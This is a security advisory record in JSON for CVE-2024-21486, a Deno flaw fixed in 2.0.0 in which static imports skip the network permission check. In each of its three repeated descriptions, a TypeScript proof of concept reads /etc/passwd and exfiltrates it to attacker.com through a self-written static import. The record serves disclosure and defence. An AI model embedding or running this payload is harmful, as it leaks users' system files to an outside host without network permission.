{"id":"CVE-2024-21486","aliases":["GHSA-jv4x-jv3h-qff5"],"status":"published","title":"Deno vulnerable to Exposure of Sensitive Information to an Unauthorized Actor","description":"### Summary\n\nStatic imports are exempted from the network permission check. An attacker could exploit this to leak the password file on the network.\n\n### Details\n\nStatic imports in Deno are exempted from the network permission check. This can be exploited by attackers in multiple ways, when third-party code is directly/indirectly executed with `deno run`:\n\n1. The simplest payload would be a tracking pixel-like import that attackers place in their code to find out when developers use the attacker-controlled code.\n2. When `--allow-write` and `--allow-read` permissions are given, an attacker can perform a sophisticated two-steps attack: first, they generate a ts/js file containing a static import and in a second execution load this static file.\n\n### PoC\n\n```ts\nconst __filename = new URL(\"\", import.meta.url).pathname;\nlet oldContent = await Deno.readTextFile(__filename);\nlet passFile = await Deno.readTextFile(\"/etc/passwd\");\nlet pre =\n  'import {foo} from \"[https://attacker.com?val=](https://attacker.com/?val=)' +\n  encodeURIComponent(passFile) + '\";\\n';\nawait Deno.writeTextFile(__filename, pre + oldContent);\n```\n\nExecuting a file containing this payload twice, with `deno run --allow-read --allow-write` would cause the password file to leak on the network, even though no network permission was granted.\n\nThis vulnerability was fixed with the addition of the `--allow-import` flag: https://docs.deno.com/runtime/fundamentals/security/#network-access","severity":{"version":"3.1","score":5.3,"vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:N/A:N","level":"medium","from":"ghsa"},"facts":{"in_kev":false,"known_exploited":false,"public_exploit":false,"fix_available":true},"cwes":["CWE-200"],"published":"2025-06-05T01:21:08Z","modified":"2025-06-05T01:42:32Z","fixes":[{"ecosystem":"crates.io","package":"deno","fixed_in":["2.0.0"],"sources":["ghsa","osv"]}],"affected":[{"source":"ghsa","ecosystem":"crates.io","package":"deno","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"2.0.0"}]}]},{"source":"osv","ecosystem":"crates.io","package":"deno","ranges":[{"type":"SEMVER","events":[{"introduced":"0"},{"fixed":"2.0.0"}]}]}],"references":[{"url":"https://github.com/denoland/deno/security/advisories/GHSA-jv4x-jv3h-qff5","tags":["web"]},{"url":"https://github.com/advisories/GHSA-jv4x-jv3h-qff5"},{"url":"https://github.com/denoland/deno","tags":["package"]}],"sources":{"ghsa":[{"id":"GHSA-jv4x-jv3h-qff5","title":"Deno vulnerable to Exposure of Sensitive Information to an Unauthorized Actor","description":"### Summary\n\nStatic imports are exempted from the network permission check. An attacker could exploit this to leak the password file on the network.\n\n### Details\n\nStatic imports in Deno are exempted from the network permission check. This can be exploited by attackers in multiple ways, when third-party code is directly/indirectly executed with `deno run`:\n\n1. The simplest payload would be a tracking pixel-like import that attackers place in their code to find out when developers use the attacker-controlled code.\n2. When `--allow-write` and `--allow-read` permissions are given, an attacker can perform a sophisticated two-steps attack: first, they generate a ts/js file containing a static import and in a second execution load this static file.\n\n### PoC\n\n```ts\nconst __filename = new URL(\"\", import.meta.url).pathname;\nlet oldContent = await Deno.readTextFile(__filename);\nlet passFile = await Deno.readTextFile(\"/etc/passwd\");\nlet pre =\n  'import {foo} from \"[https://attacker.com?val=](https://attacker.com/?val=)' +\n  encodeURIComponent(passFile) + '\";\\n';\nawait Deno.writeTextFile(__filename, pre + oldContent);\n```\n\nExecuting a file containing this payload twice, with `deno run --allow-read --allow-write` would cause the password file to leak on the network, even though no network permission was granted.\n\nThis vulnerability was fixed with the addition of the `--allow-import` flag: https://docs.deno.com/runtime/fundamentals/security/#network-access","status":"published","published":"2025-06-05T01:21:08Z","modified":"2025-06-05T01:21:08Z","cvss":[{"version":"3.1","score":5.3,"vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:N/A:N","level":"medium"}],"cwes":["CWE-200"],"updated_at":"2026-11-02T14:38:45.948817Z"}],"osv":[{"id":"GHSA-jv4x-jv3h-qff5","title":"Deno vulnerable to Exposure of Sensitive Information to an Unauthorized Actor","description":"### Summary\n\nStatic imports are exempted from the network permission check. An attacker could exploit this to leak the password file on the network.\n\n### Details\n\nStatic imports in Deno are exempted from the network permission check. This can be exploited by attackers in multiple ways, when third-party code is directly/indirectly executed with `deno run`:\n\n1. The simplest payload would be a tracking pixel-like import that attackers place in their code to find out when developers use the attacker-controlled code.\n2. When `--allow-write` and `--allow-read` permissions are given, an attacker can perform a sophisticated two-steps attack: first, they generate a ts/js file containing a static import and in a second execution load this static file.\n\n### PoC\n\n```ts\nconst __filename = new URL(\"\", import.meta.url).pathname;\nlet oldContent = await Deno.readTextFile(__filename);\nlet passFile = await Deno.readTextFile(\"/etc/passwd\");\nlet pre =\n  'import {foo} from \"[https://attacker.com?val=](https://attacker.com/?val=)' +\n  encodeURIComponent(passFile) + '\";\\n';\nawait Deno.writeTextFile(__filename, pre + oldContent);\n```\n\nExecuting a file containing this payload twice, with `deno run --allow-read --allow-write` would cause the password file to leak on the network, even though no network permission was granted.\n\nThis vulnerability was fixed with the addition of the `--allow-import` flag: https://docs.deno.com/runtime/fundamentals/security/#network-access","status":"published","published":"2025-06-05T01:21:08Z","modified":"2025-06-05T01:42:32.71431Z","cvss":[{"version":"3.1","score":5.3,"vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:N/A:N","level":"medium"}],"cwes":["CWE-200"],"updated_at":"2026-11-02T15:46:51.10002Z"}]}}